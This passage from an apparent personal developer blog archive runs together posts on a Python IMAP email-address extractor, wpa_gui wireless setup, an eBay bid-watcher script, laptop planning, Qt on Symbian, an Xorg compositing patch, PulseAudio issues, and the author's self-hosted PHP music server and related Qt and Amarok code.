		all_recipients = getaddresses(tos + ccs + resent_tos + resent_ccs)
		for address in all_recipients:
			if len(address) == 2 and (options.domain == None or address[1].endswith(options.domain)):
				to = address[1].lower()
				fros = getaddresses(message.get_all('from', []))
				fro_addresses = set()
				for addr in fros:
					if len(addr) == 2:
						fro_addresses.add(addr[1].lower())
				if options.mode == "to" or options.mode == "tobyfrom":
					if to not in emailAddresses:
						emailAddresses[to] = set()
					emailAddresses[to] = emailAddresses[to].union(fro_addresses)
				elif options.mode == "from" or options.mode == "frombyto":
					for fro in fro_addresses:
						if fro not in emailAddresses:
							emailAddresses[fro] = set()
						emailAddresses[fro].add(to)
				sys.stderr.write("[%s of %s]: Message to %s from %s.\n" % (counter, length, address[1], fro_addresses))
		if len(all_recipients) == 0:
			sys.stderr.write("[%s of %s]: Message has empty To header.\n" % (counter, length))
	imap.close()
	imap.logout()
	if options.mode == "to" or options.mode == "from":
		for addr in emailAddresses.keys():
			print addr
	elif options.mode == "tobyfrom" or options.mode == "frombyto":
		for to, fro in emailAddresses.items():
			print to
			for f in fro:
				print "\t%s" % f
 
if __name__ == '__main__':
	main()

The situation seems daunting. That is so many email addresses, so many senders, so many website logins to change, so many people who have to update their address books. So what do I do? What will I do? How important is it to switch away from catch-all? I might just be locked in for life.

I use wpa_supplicant’s optional wpa_gui. It’s a tiny Qt app that has a tray icon and a command line switch to start in the tray. Wpa_supplicant is required for all modern wireless connections and is always running in the background no matter what. Wpa_gui simply connects to wpa_gui’s socket and tells it what to do. I like having wpa_gui in my system tray so that I can reconfigure wifi networks easily.

zx2c4@ZX2C4-Laptop ~ $ cat ~/.kde/Autostart/wpagui.sh
wpa_gui -t

And check it out:

A simple, somewhat ugly, but extremely functional info display. I can connect to new networks with a simple double click:

And presto it connects to the wifi network. I can also configure all of the highly advanced encryption profiles that wpa_supplicant supports. All of this is easily accessible in my tray:

If I did not want wpa_gui -t running all the time, I could pretty easily make this into a little quick launch plasma button, and it would start up nearly as fast, because wpa_gui is so light weight.

This is how I do wireless. I have never had any trouble, and I can connect to wifi networks anywhere I go with ease. It remembers the connections and the priorities that I assign, and I have not seen any system simpler or easier than this.

For wired networking, netplug calls my ethernet setup scripts when I plug in an ethernet cable. No tinkering required. For my cellphone internet via bluetooth, I run “pon nokia” and my ppp chatscript does all the rest. This could easily be tied to a little menu button in my launcher.

I’m bloat free, and networking dynamically on the go with my laptop does not require any advanced timely tinkering.

Why are you all using NM, wicd, etc instead of good ol’ wpa_gui?

1. /usr/sbin/wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant/wpa_supplicant.conf -B -c/etc/wpa_supplicant/wpa_supplicant.conf
2. /sbin/dhcpcd -q

These are both run by normal init scripts (or systemd or upstart or whatever). Nothing fancy at all.

The system tray has issues, there’s no support for the disc number, there are some issues with the search filter and multiple fields, I haven’t tested the file renaming capabilities, collection scanning is odd, it still relies on Qt3Support, there is no shortcut handler for scrolling to the current track, and it’s got a lot of unfortunate tiny quirks. But all of this is to be expected of software that’s been basically forgotten about since KDE 3.4.

So after exams are over, I’m going to start investigating Juk’s codebase and seeing if it’s worth it to whip this great player into shape for the prime. It looks promising so far, though I haven’t tested it very completely yet.

The last time I bought a laptop for myself was in 7th grade, 2001. I was 13 and I used all my savings to buy a $3,700 Dell Inspiron 8100 running a Pentium 3 processor with a whopping 512mb of ram, a 64mb graphics card, and a gigantic 60gb hard drive. What an incredible machine this was.

eBay

Finally it’s time I buy myself a new computer. I recently acquired an Alienware M17x that’s pretty high end, but I’m not a gamer, so I’m selling it on eBay and am going to use the cash to finance the purchase of a brand new Dell Studio 1747. This was my first time selling something big on eBay, and at first I screwed up quite a bit — I listed it at $2,200, which is the price I want in the end for it. No one bid (except for a Romanian scammer offering me $3,500), and a friend of mine convinced me to list it at $0.01 – one penny – with no reserve price, and let the market determine its value. I was weary, but so far the auction has gotten to $1,500, which I’m pretty pleased with. eBay is addictive though — I constantly monitor the auction to see how much I’m going to be receiving. It’s taken me over; it’s awful. I must never play the stock market for this reason. To satisfy my obsession with the bidding, I’ve hacked together in a minute a short python script running in screen that sends me a text message every time the bid increases:

#!/usr/bin/env python
import urllib2
import os
import time
last = 0
while True:
        print "Checking auction at %s:" % time.asctime(),
        page = urllib2.urlopen("http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&item=230409562381").read()
        index = page.find("US $") + 4
        now = int(page[index:page.find(".", index)].replace(",", ""))
        print now
        if now > last:
                os.system("echo 'As of %s, auction is at %s' | sendmail MYTELEPHONENUMBER@txt.att.net" % (time.asctime(), now))
                last = now
        time.sleep(45)

Aye yie yie.

The Specs

But I’m quite excited about the new laptop I’ve ordered:

The specs are:

• Intel Core i7 820QM 1.73GHz (3.06GHz Turbo Mode, 8MB Cache)
• 8GB ram, DDR3, 1333MHz, 2 DIMM
• ATI Mobility Radeon HD4650 with 1GB ram
• Two 500GB 7200rpm hard drives
• 17.3in 1920×1080 Screen
• BluRay Burner
• 4 Year CompleteCare Warranty

With an awesome discount by asking the phone sales manager’s manager’s manager, this all cost before tax $2,350. Still expensive, but I’m hoping that eBay auction will mostly pay for it.

The Interesting Part: Configuration

So while I wait for the new machine to arrive, I have to start planning what I’m going to put on it, and how I’m going to do it.

It has a fast processor and a lot of ram. It seems, however, that it has more ram than processor, in a sense. What I mean is that with 8 gigs of ram, it seems like I might as well keep all programs running at all times. The problem could be though – maybe too many idle processes will gradually eat away at CPU. I’m not sure. Will it?

What do you think? With so much ram, I also need to decide what I’m going to do about swap/hibernation. Do I use a separate partition of 4gigs for swap? Or do I go with the swapfile approach? Or do I not even use a swap at all, because 8gigs of ram is a lot? For hibernation, do I use what’s in 2.6.32 by default or do I patch in TuxOnIce? Decisions, decisions.

I’ll probably go with Gentoo, because it’s customizable and I’ve used it for years. It has its shortcomings, however, and I’m curious about Exherbo, which claims to do what Gentoo does but better, or a customizable binary distro like Arch, or maybe even make the huge leap to an advanced popular distro like Fedora. I’ll probably just stay with Gentoo though, unless somebody can make a really good case to do otherwise. Flamewars, commence.

Of course, I’ll be using KDE SC 4.4 Beta 2 by the time the computer arrives. By the way, I hate adding the “SC” in there, but I think PlanetKDE would come after me if I neglected it. Branding shmanding. But anyway, KDE should fly on the new machine.

The wifi card supports 802.11n, but is unfortunately one of the Broadcom cards that is only supported by the hybrid-proprietary wl driver. Also, in my experience, FGLRX, ATI’s proprietary driver, outperforms RadeonHD by a long shot, so I’ll be using FGLRX too. Shucks. At least ATI’s own John Bridgman has pointed us to a solution for the KWin resizing compositing problem.

The Big Issue: Data Organization

The biggest issue, however, is what I am going to do with 1TB of hard drive space. How do I divide it up? The breakdown of the situation is this:

Storage:

• Internal 500gb
• Internal 500gb
• External 500gb (via USB2)
• Online server with lots of gb (via ssh+rsync)

Data:

• 26gb of pictures (and growing)
• 67gb of music
• 2gb of code
• 1gb of documents
• 15gb of protools archives
• 10gb of goofy home videos from middle school
• 1gb of old school work
• 2gb of middle school junk archives
• 1gb of old code projects
• 300gb of downloaded junk

So what are my options for all of this? First of all, which file system? I’ll probably go with ext4, because it seems like the best you can get on Linux right now. How do I organize the data? Some possible schemes are:

• Many operating systems on Internal1, all data on Internal2, data backed up to both Online and External
• Linux in Internal1 along with main data (pics, docs, music, code), with downloaded junk on Internal2, and archives of old stuff on External, with important stuff backed up to Online
• Linux in Internal1 along with main data (pics, docs, music, code), with downloaded junk and archives of old stuff on Internal2, with important stuff backed up to both Online and External
• Use LVM to concatenate the two drives
• Use LVM for RAID-1
• Use LVM for RAID-0
• Use LVM for RAID-10

What else? What do I do here?!?

I’m really not quite sure. What do you think? What else should I be thinking about? Location of home directory? The additional power consumption of a second HD and hdparm -Y? I want to configure this system perfectly; I need all the help I can get.

Qt 4.6 was released, and Alessandro put together some awesome tutorial videos for setting up a Qt/Symbian development platform.

The installation was not so smooth, however. I have a Nokia 6650, branded and locked down by AT&T, which makes it awful. It’s filled with bloatware I can’t remove and there are all sorts of restrictions in the operating system, especially related to app installation. It would not let me install PIPS, which is required for OpenC and Qt, and gave me either a nasty error from Qt’s demo installer or from the standalone installer an error message like “Component already built-in. You’re screwed.” So I had to jailbreak the phone, by installing HelloCarbide to allow me to install CapsOn/Off to allow me to insert a hacked installserver.exe so that it would let me install PIPS. Whew that took a long time. Debug deployment is also broken with a message like “General OS error.” No clue. It will sometimes work if installed manually, but basically, AT&T’s restrictions make development pretty rough.

Nevertheless, I prevailed in porting my classic Qt example app: MessagePopper. The only modifications were having the main window show with showMaximized() instead of show() for Q_OS_SYMBIAN and focusing a text input, because evidently if a focused widget is hidden and no other visible widget is programmatically focused, the user cannot select anything. The huge addition was adding a function call to ask Symbian for a network connection, and this required including from Qt’s FTP demo the sym_iap_util.h header and qmake pro additions. Oy. I wish this part were built in to QtNetwork.

It worked beautifully though, and here’s a video demonstrating the app:

(link to youtube original)

I did a JS performance test of QtWebKit, KHTML, Gecko, and V8, and here are the results:

Evidently KHTML has a lot of catching up to do, per usual.

• It is clunky. Really clunky. It’s very thick and does not fit into the pocket well.
• The keyboard is too tiny. Maybe this just takes some getting used to, but I couldn’t do it.
• No multi-touch. The little swirling gesture to zoom is a cop-out for a much needed multi-touch screen.
• Unintuitive user-interface. Some things made sense, but generally operations took one too many clicks. Making phone calls should be easy and fast.
• The user interface does not rotate.
• The web browser is turkey slow, even for cached pages.
• Ovi maps is uglier than GMaps, and again – no multi-touch.

Oh well. I guess I’ll wait until the N900+1, especially considering that Maemo 5 will soon be obsolete.

Or maybe I’m just approaching it the wrong way? I dunno. After all, it does run Linux, can run KDE, and is extremely open… but still: it’s lacking heavily in several areas.

So should I wait for the N900+1? $649 is a lot to shell out for a device that is running on a platform that is being retired (“moved to community support”). Besides, I’m a Qt guy, not a Gtk wizard, and any programming I do with the device will most likely be with Qt. Will Maemo 6 be available for the N900? The N900 does not, as far as I can tell, have a multi-touch screen, which means it won’t be able to use Qt 4.6+’s multi-touch gesture support.

On the other hand, how much longer until a Maemo 6 device is released? Probably over a year from now. I also fear, perhaps without good reason, that Maemo 6 (and perhaps even Maemo 5 — I’ll find out later today when I try it out) will have some kind of new-age high-tech web-service-enabled interface that is going to be more difficult to use than my current old school phone. I dunno.

So what should I do? Go for the N900/Maemo5 if it looks decent, or wait who knows how long for the N900+1/Maemo6?

PS: What’s the story with libdui or DirectUI? I can’t find much about this online.

PPS: Is there a future relationship between Plasma and Maemo beyond neat hacks?

Anyone know what’s up?

That is, nothing got done until a lone user piped up with a workaround. Here is what he wrote in the comments of that blog post:

Hi, I have been pissed off by this problem a long time and assumed it was ATI’s fault. Tonight I made one last effort before ordering a Nvidia graphics card. And I was successful.

I am running catalyst 9.8 using a Radeon 3850 and have had this re-size/maximize problem as long as long as I have used KDE4. To solve the problem I needed to modify a file in xorg-server. in the code directory it is called ./composite/compalloc.c. Here I commented out most of a function called compNewPixmap. Everything below these lines:

pPixmap->screen_x = x;
pPixmap->screen_y = y;

all the way down to (but not including) the last line:

return pPixmap;

After this I am running KDE4 with all desktop effects that I want and without any lag in resizing/maximizing.
I am running Gentoo, so I just updated the xorg-server source package file and put it back into the source repository, rebuilt the manifest and emerged it again. Voila!

Voila indeed. The patch he’s talking about looks like this (thanks to this Russian blog I can’t read):

--- composite/compalloc.c.orig  2009-09-08 02:54:28.657143479 +0700                              
+++ composite/compalloc.c       2009-09-08 02:55:42.835357653 +0700                              
@@ -484,64 +484,6 @@                                                                             
     pPixmap->screen_x = x;                                                                      
     pPixmap->screen_y = y;                                                                      
 
-    if (pParent->drawable.depth == pWin->drawable.depth)                                        
-    {                                                                                           
-       GCPtr   pGC = GetScratchGC (pWin->drawable.depth, pScreen);                              
-                                                                                                
-       /*                                                                                       
-        * Copy bits from the parent into the new pixmap so that it will                         
-        * have "reasonable" contents in case for background None areas.                         
-        */                                                                                      
-       if (pGC)                                                                                 
-       {                                                                                        
-           XID val = IncludeInferiors;                                                          
-                                                                                                
-           ValidateGC(&pPixmap->drawable, pGC);                                                 
-           dixChangeGC (serverClient, pGC, GCSubwindowMode, &val, NULL);                        
-           (*pGC->ops->CopyArea) (&pParent->drawable,                                           
-                                  &pPixmap->drawable,                                           
-                                  pGC,                                                          
-                                  x - pParent->drawable.x,                                      
-                                  y - pParent->drawable.y,                                      
-                                  w, h, 0, 0);                                                  
-           FreeScratchGC (pGC);                                                                 
-       }                                                                                        
-    }                                                                                           
-    else                                                                                        
-    {                                                                                           
-       PictFormatPtr   pSrcFormat = compWindowFormat (pParent);                                 
-       PictFormatPtr   pDstFormat = compWindowFormat (pWin);                                    
-       XID             inferiors = IncludeInferiors;                                            
-       int             error;                                                                   
-                                                                                                
-       PicturePtr      pSrcPicture = CreatePicture (None,                                       
-                                                    &pParent->drawable,                         
-                                                    pSrcFormat,                                 
-                                                    CPSubwindowMode,                            
-                                                    &inferiors,                                 
-                                                    serverClient, &error);                      
-                                                                                                
-       PicturePtr      pDstPicture = CreatePicture (None,                                       
-                                                    &pPixmap->drawable,                         
-                                                    pDstFormat,
-                                                    0, 0,
-                                                    serverClient, &error);
-
-       if (pSrcPicture && pDstPicture)
-       {
-           CompositePicture (PictOpSrc,
-                             pSrcPicture,
-                             NULL,
-                             pDstPicture,
-                             x - pParent->drawable.x,
-                             y - pParent->drawable.y,
-                             0, 0, 0, 0, w, h);
-       }
-       if (pSrcPicture)
-           FreePicture (pSrcPicture, 0);
-       if (pDstPicture)
-           FreePicture (pDstPicture, 0);
-    }
     return pPixmap;
 }

This patch works like a charm. All of the FGLRX resizing/maximizing bugs disappear. Not only that, but things like clicking on the K menu are suddenly a lot faster… KDE4 doesn’t seem laggy and now has the performance I’ve expected all along. The effects look great, and my transparent terminal is a delight.

There is, however, a bit of garbage that shows up occasionally, and perhaps there’s a good use for the code that was removed in the patch. Why is it only FGLRX that benefits from removing this code? I don’t know much about XOrg internals, but I’m guessing it has to do with some sort of sometimes-required allocation that causes a readback in the FGLRX driver but not in other drivers. What’s the deal? Is fixing this problem as simple as committing this patch and then fixing the garbage error? Or is the code that was removed necessary, and really the problem lays with FGLRX? What to do at this point?

Evidently KMix is supposed to support PA, but it still only shows the alsa devices. I suspect this is related to when PA is loaded, and currently I do not have any user-space loader. What’s the optimal way for this to happen in KDE? An autostart entry? Symlinking some mysterious file to kde’s env directory? All the forum posts are for older KDE versions. Phonon works so far though. All the PA apps are GTK/GConf based, and aren’t very KDE friendly, and generally it seems like KDE has neglected PA support, or PA has neglected KDE support. They simply aren’t very pretty together. What are the plans for integrating KDE and PA a little bit more closely?

I’m using a Macbook as a print server, printing to it from my Linux box, and everything is simple because they both use CUPS. However, I’m having a bit of trouble streaming audio to it. I can’t seem to build PA on OSX, and I don’t even think OSX is officially supported by PA. I tried installing ESD using MacPorts and using PA’s bridge for that, but it played a half a second of sound before skipping. ESD doesn’t do good latency calculations. PA supports streaming to Airport Express, so I thought I’d try out Airfoil Speakers, but unfortunately, Airfoil uses a different protocol. So I’m not sure what to do now… How do I send PA to my Macbook?

PA also doesn’t work well with Skype, and I anticipate some other problems as well. What a hassle. Why the bad integration with KDE? Why the numerous bugs? Any PA tips from veteran readers?

I capture the downloads by using QtWebKit’s unsupportedContent signal and parse the downloads by using QNetworkAccessManager’s finished signal. I then run the zip archive through QtIOCompressor‘s code for unzipping zips, then extract and parse the subtitles.

A significant issue is that a lot of the subtitles on Subscene are from torrents that have videos which are cut off at the beginning. The solution is to shift each subtitle in the file by a constant time interval if neccessary, so I built an interface to easily see and shift timing:

As you can see, it’s possible to shift all the subtitles. Phonon made this page a breeze. One significant challenge was writing a search algorithm that would find the correct Subtitle based on a time falling in a certain range. It needed to be super speedy and designed for sequential searches. I came up with the following, which could use a bit of improvement:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

QString SubtitleParser::subtitleAtTime(quint64 time)
{
	QLinkedList<Subtitle>::const_iterator i;
	bool forward = true;
	for (i = m_searchPosition; i != m_subtitles.constEnd(); ) {
		if (i->isContainedIn(time)) {
			m_searchPosition = i;
			return i->text();
		}
		if (i->isAfter(time)) {
			if (i == m_subtitles.constBegin())
				break;
			--i;
			forward = false;
		} else {
			if (!forward)
				break;
			++i;
		}
	}
	return QString(' ');
}

Another challenge was dealing with QWizard and QWizardPage, particularly issues with fields and custom buttons. The field/property system is just too cumbersome to work with; there ought to be a better way of establishing centralized data with straight up pointers. The buttons on QWizard all want to be global, so adding a custom button to a single page proved a bit hackish. It’s a cool API, but just a little bit limiting. If anyone has some suggestions, let me know.

As always, the code is available on my gitweb, and I encourage you to try it out, read the code, and send me suggestions in the comments below.

Though this was designed to work on Linux, Qt, being delightfully cross-platform, also makes it possible to run the Subtitler on OSX. Check out the OSX screencast:

Direct YouTube Link

Amongst users of the proprietary ATI driver (FGLRX), it’s a well known problem that KDE4′s KWin’s desktop effects are unusable due to turtle slow window resizing. Unfortunately, bug reports and forum posts fail to come up with a clear answer as to why this happens, who is responsibility for fixing it, and which parts of the stack need to adapt for the bug. If you’re not already familiar with the problem, observe:

Direct YouTube Link

As you can see, the three second delay in window resizing, maximizing, and (perhaps) restoring makes compositing-enabled KWin unusable. Note that the problem still persists when disabling the “show window content while resizing” option.

It’s been particularly difficult to track down the route of this problem and who should be fixing it. From a lengthy discussion on Phoronix’s Forums, ATI’s “Bridgman” user acknowledges the problem but claims “It’s not a driver issue AFAIK, so not sure why we would mention it in the release notes.” He goes on to indicate that the problem was introduced during a hack to ensure KWin compatibility on Intel cards, to work around a glitch with garbage appearing on the screen, and a lengthy debate over the “107_fedora_dont_backfill_bg_none.patch” patch. Somewhere the stack was patched to support Intel cards at the expense of ATI cards, according to ATI’s “Bridgman”.

Over on the KDE bugzilla, we’re met with a curt response from the KWin team: “Driver bug then.” The bug is marked as “RESOLVED” and “UPSTREAM”.

And elsewhere on the Internet, we get a helpless string of “still not fixed” messages, over on the unofficial FGLRX bugzilla, other Phoronix forum posts, and distro forums.

So I ask my readers: who is responsible for this bug and how will it be fixed? If indeed it is neither FGLRX nor KWin and the problem exists in XOrg, why has XOrg been patched to support Intel cards at the expense of ATI cards? Is there anything FGLRX or KWin could be doing to mitigate the problem? Potential workarounds? Users have complained of this problem for over a year now perhaps, but not once has leadership from anywhere offered a compelling explanation or plan for the future. What to do?

Leave comments. The current discussion seems to be fruitful.

AnyClip will launch later this year as a comprehensive library of legally-licensed scenes from Hollywood movies. While we’re still in active negotiations with the rights holders of the films, this preview-only Boxee application begins to show the potential behind tying such a powerful platform to applications like Boxee. Ultimately, applications like AnyClip for Boxee will enable people to relive any moment, from any film, on any platform.

I submitted it to the Boxee Dev Challenge, and polls are open for voting. Please vote for AnyClip here.

It is also (nearly) possible to emulate the layout of Juk, iTunes, Banshee, or Rhythmbox:

It is not now configurable and is rather inefficient because getlisting.php does not support very complex queries (though I do take advantage of its sorting on lines 54-57), but this will be changed by the time I release an installable version of the script. Currently, it downloads a listing of the entire collection during the first request (lines 27-33), and then just reads from an in-memory database (multidimensional array) to query the different levels (lines 34-95). TMI: too much iteration.

Unfortunately there are some kinks, as Phonon often has trouble playing URLs and does not always show buffering information correctly (both gstreamer and xine backends). Look at lines 65 and below of getsong.php: this should be a working HTTP streaming implementation, but Phonon doesn’t dig it, for whatever reason. Any pointers here? The same issue crops up in the standalone qt player for ZX2C4 Music. Strange. Also, I use QTextDocument to convert HTML entities back to normal text (lines 14-22), but it’s very slow. Is there a better way to be doing this? Finally, callbackData (line 73) refuses to store an array, which means I have to use a nasty splitter; this is a bug presumably.

For the ZX2C4 Music hackers out there, here’s the source code to play with:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

Importer.loadQtBinding("qt.core");
Importer.loadQtBinding("qt.network");
Importer.loadQtBinding("qt.gui");
 
function ZX2C4Music()
{
	ScriptableServiceScript.call(this, "ZX2C4 Music", 3, "Browse ZX2C4 Music", "The entire ZX2C4 collection, at your finger tips.", false);
}
var songs = null;
var delayedArgs = null;
function receiveDatabase(reply)
{
	songs = eval(reply)[1];
	var decoder = new QTextDocument();
	for (var i = 0; i < songs.length; i++)
	{
		for (var j = 0; j < songs[i].length; j++)
		{
			decoder.setHtml(songs[i][j]);
			songs[i][j] = decoder.toPlainText();
		}
	}
	onPopulate(delayedArgs[0], delayedArgs[1], delayedArgs[2]);
}
function onPopulate(level, callback, filter)
{
	if (songs == null)
	{
		delayedArgs = [level, callback, filter];
		new Downloader(new QUrl("http://music.zx2c4.com/getlisting.php?username=TOP&password=SECRET&language=javascript"), receiveDatabase);
		Amarok.Window.Statusbar.shortMessage("ZX2C4 Music collection is loading...");
		return;
	}
	if (level == 0)
	{
		var splitCallback = callback.split("&*/ZX2C4MUSICSPLITTER/*&");
		var notFirst = false;
		for (var i = 0; i < songs.length; i++)
		{
			if (songs[i][4] == splitCallback[0] && songs[i][3] == splitCallback[1])
			{
				notFirst = true;
				var item = Amarok.StreamItem;
				item.level = 0;
				item.itemName = songs[i][2];
				item.playableUrl = "http://music.zx2c4.com/getsong.php?username=TOP&password=SECRET&transcode=false&hash=" + songs[i][0];
				item.album = songs[i][3];
				item.artist = songs[i][4];
				item.track = songs[i][1];
				item.infoHtml = "";
				item.callbackData = "";
				script.insertItem(item);
			}
			else if (notFirst)
			{
				break;
			}
		}
	}
	else if (level == 1)
	{
		var lastAlbum;
		for (var i = 0; i < songs.length; i++)
		{
			if (callback == songs[i][4] && lastAlbum != songs[i][3])
			{
				lastAlbum = songs[i][3];
				var item = Amarok.StreamItem;
				item.level = 1;
				item.itemName = lastAlbum;
				item.playableUrl = "";
				item.infoHtml = "";
				item.callbackData = callback + "&*/ZX2C4MUSICSPLITTER/*&" + lastAlbum;
				script.insertItem(item);
			}
		}
	}
	else if (level == 2)
	{
		var lastArtist;
		for (var i = 0; i < songs.length; i++)
		{
			if (lastArtist != songs[i][4])
			{
				lastArtist = songs[i][4];
				var item = Amarok.StreamItem;
				item.level = 2;
				item.itemName = lastArtist;
				item.playableUrl = "";
				item.infoHtml = "";
				item.callbackData = lastArtist;
				script.insertItem(item);
			}
		}
	}
	script.donePopulating();
}
var script = new ZX2C4Music();
script.populate.connect(onPopulate);

Update: Possibly this coming week we’ll meet. Anyone know of good coffee shops in Manhattan that have wifi? Or perhaps I can procure a spot in a Columbia building…

I’m just a student, but I can build just about anything with code. The problem is that people in the industry disregard me because I’m young. I also doesn’t have many “contacts” or “networks” for shmoozing up. I am, however, looking for a lucrative freelance coding job for this summer.

So I’m wondering – amongst those of you who have been in a similar predicament, how have you gone about finding programming gigs?

A related question: does anybody hire KDE programmers?

Sincerely,
Unemployed

I am curious about the future of KHTML in the face of WebKit. Three questions come to mind:

1. Why does KDE use KHTML when WebKit is faster, more compatible, etc?
2. Why does Konqueror use KHTML as default instead of WebKit?
3. Will KHTML be moved out of the main tree?

As far as I can see, it is commonly accepted fact that WebKit is a faster and more compatible engine than KHTML. WebKit was ported to Qt in 4.4, and Qt 4.5 provides some critical enhancements. From these two points, the three questions above naturally follow. If the situation for KHTML was completely hopeless, then it never would have made KDE 4.0 or the present API would be converted into a wrapper for QtWebKit. But this is not the case, so presumably the KHTML team has high hopes for the project. I wonder what the team’s response is to these questions. Undoubtedly they have thought a lot about KHTML vs WebKit and find WebKit a worthwhile project. What’s the deal?

Update:
There will be a KDE 4.2 release event at the Hungarian Pastry Shop on 1030 Amsterdam Avenue (between west 110th and 111th) at 8pm on January 28th. Visit wiki information.

Prior to the fix, only one php page could load at a time. When requesting a second php page while one was loading, the request would hang until the previous one had completed. This is not terribly problematic for ordinary web pages, but because I use php for file downloads, the entire web app would hang until the file had completed downloading. Bad news bears. After a lot of difficult debugging, tcpdumps, header inspects, ps aux, etc, I discovered the problem to be with session_start(). It turns out that only one session can be opened for writing at a time per session cookie, which means for a single user, php will only allow pages to write to his session one at a time. The solution was to call session_write_close() immediately after editing the last $_SESSION variable.

Some media players had trouble seeking in streams from the php file streamer because of bad http header range support. The sendFile() is now HTTP/1.1 compliant. Although, I’d like to add some caching support at some point.

Finally, and most notably, ZX2C4 Music no longer hangs when loading giant lists. It now loads 50 items at a time, and polls the location of the scrollbar every 100 milliseconds, and if it is close to the bottom, it requests the next 50 items. Polling is not ideal, but JavaScript does not have scroll events for divs. The pagination is implemented using MySQL’s LIMIT and OFFSET features. The display code took quite a bit of reworking and might still be a little buggy. Do try it out. Internet Explorer requires a special case because of its lack of support for writing to tables’ innerHTML, and Microsoft refuses to fix it. When adding an entire list to the download basket, it takes the time to download and display every item in the query, like the old behavior, and this may introduce some bugs. For the most part though, scrolling auto-pagination support is generally pretty slick.

The download basket/zip feature is no longer capped at 200 songs, as it no longer needs to call an external zip program and store the zip file temporarily. In pure php, I’ve written a custom on-the-fly zip file streamer, which works a lot faster.

As always, if you have suggestions, leave a comment below. If you’d like to download the latest HEAD of ZX2C4 Music, you can browse the repository here or download a tar of it here. Next on the list are HTML5 <audio> element support for web app streaming, Amarok plugin, update script, and maybe a revamped interface.

The iterative approach to this problem is easy, but I am interested in determining a non-iterative solution to finding all of the O_i, where I simply have a formula O_i = [yada yada yada].

Here’s code for the iterative solution when applied to columns of a QTreeView, with N = 3 and R = .42, which is derived from my AutoSizingList class of ZMusicPlayer. It uses QTreeView’s sizeHintForColumn to determine M_i.

So essentially, the problem is that the do-while on lines 18 and 41 should be eliminated. It is required in the first place because when proportionally redistributing the difference between the arguments of the min function (outlined in the first paragraph), the ratios of the columns receiving this extra width may exceed R, which means another iteration must be done to readjust. Anyone have a non-iterative solution? Also, to the Qt experts out there, why is the hack required on line 49?

I am interested both in a practical Qt approach and a mathematical approach, the latter being more interesting. Doesn’t this seem like functionality that aught to already be a part of Qt?

Update: A conversation with a friend over AIM has produced a plain-English explanation in the form of a dialogue of the above problem.

Update: source code available here.

I have just finished generalizing aspects of ZX2C4 Music so that it’s installable on a variety of different servers. I have no experience with releasing PHP apps to the general public, so I’d appreciate some feedback on the installation process. You can download the tarball here. Be sure to read README.txt.

A few months ago I switched website hosts from Netfirms to Site5, because Site5 had a good deal for a plan with unlimited bandwidth and disk space. The first thing I did was upload my entire music collection.

To access all of my music remotely via any internet-connected web browser, I wrote ZX2C4 Music, which is password protected to avoid the law, but if you’d like to view the interface just for curiosity, ask me in the comments section, and I’ll e-mail you a password. It uses PHP/MySQL for managing the music, hashing each file with an sha1, TagLib for reading tags, and JavaScript/HTML as an interface:

Search queries are done with AJAX, and playing is done with Flash, if available; otherwise it defaults to browser plug-ins. Soon I should add HTML5′s <audio> element support. Since Flash only supports MP3, the php backend optionally transcodes non-mp3 songs on the fly by using ffmpeg. Songs can be downloaded in zipped bundles by using the download basket feature. The web interface still needs some work, most notably scrolling-pagination for the song table, but it’s definitely usable. Many have pointed my attention to Ampache, but I found it too big and overwhelming. You can view the source code here.

Of course, the next step was writing a Qt or KDE application that interfaces directly with the web backend using Phonon. Meet ZMusicPlayer:

It downloads and displays a compressed and sorted xml listing of all the songs and their sha1s. The columns of the list automatically size optimally using an awesome algorithm that still needs some tweaking (why is subtracting 40 required on line 87?). Suggestions?

It plays the songs by passing the appropriate QUrl to Phonon, and this is where the trouble begins. The xine backend on KDE 4.1.2 just skips one song to another most of the time, and when it does miraculously play, seeking (via HTTP partial requests) is unavailable. The headers for each of the server responses for song file requests provide the appropriate parameters for HTTP seeking. Maybe this has already been fixed in trunk, but if not, I aught to investigate the problem as soon as I switch my 4.1.2 desktop completely to trunk. GStreamer with Qt 4.4 allows for proper streaming if a GStreamer HTTP plug-in is installed (gst-plugins-good includes a wrapper plugin for libsoup, which works, for those who don’t want to install the gnome vfs plugin), which is understandable. However, seeking only works for mp3 files; m4a files play but cannot seek, even though the pertinent response headers are the same for both file types. On the Windows backend, the seeking situation is hopeless, and on the OS X backend, songs do not play at all. Also, xine is the only one that emits the proper buffering signals. On some setups though, some of these problems go away. I still need to do some more thorough debugging.

If you’d like to download and build ZMusicPlayer, you can browse the source, clone the repository with git clone http://git.zx2c4.com/zmusicplayer.git, or download a tarball. Depending on your package setup, you may have to tinker with the includes for the phonon headers. I’d love to hear some suggestions, so leave comments below. Once I stabilize the Qt code, I’d like to develop some optional KDE extensions, particularly integration with the KDE’s keyboard shortcuts.

Also: I’ve switched from blogging on kdedevelopers.org to my own WordPress blog so that anyone can post comments without requiring an approved account. So, comment away. If you wanted to comment on my first post, but were unable to, you can now comment here. To comment on this post, use the link below.

Update Oct 25, 3:31pm: Several of you have e-mailed me to say that the browser hangs when loading a unfiltered giant collection. This is indeed the case, as no current browser is able to write 10,000 rows to a table in a reasonable amount of time. This is why above I speak of “scrolling-pagination”, which means that the table would load 100 or so rows at a time, and then auto-populate the remaining rows in 100 row increments every time the user scrolled to near the end.

Speaking of projects, to learn more about Qt’s painting system, I wrote a program that generates the Sierpiński triangle using a chaos game. Pick three vertices of a triangle. Plot a point at random inside that triangle. Choose a vertex of the triangle at random and plot the midpoint between the chosen vertex and the previous point plotted. Repeat this ad infinitum and you get:

I don’t think that I’ve implemented the drawing in the most ideal way, so please leave suggestions. I opted to use a QImage instead of a QPainter, and then just fill pixels and scale. You can browse the source, checkout the repository with git clone http://git.zx2c4.com/trianglefractalchaos.git, or download a tarball.

Currently I’m running 4.1.2, but I plan to switch completely over to trunk in the next few weeks. Here’s my default clean desktop:

The large note on the left is about a few ideas for a shared-server-plan based file sharing mini-network. Maybe I’ll say more on this another time if I end up implementing it.

Hello planetKDE.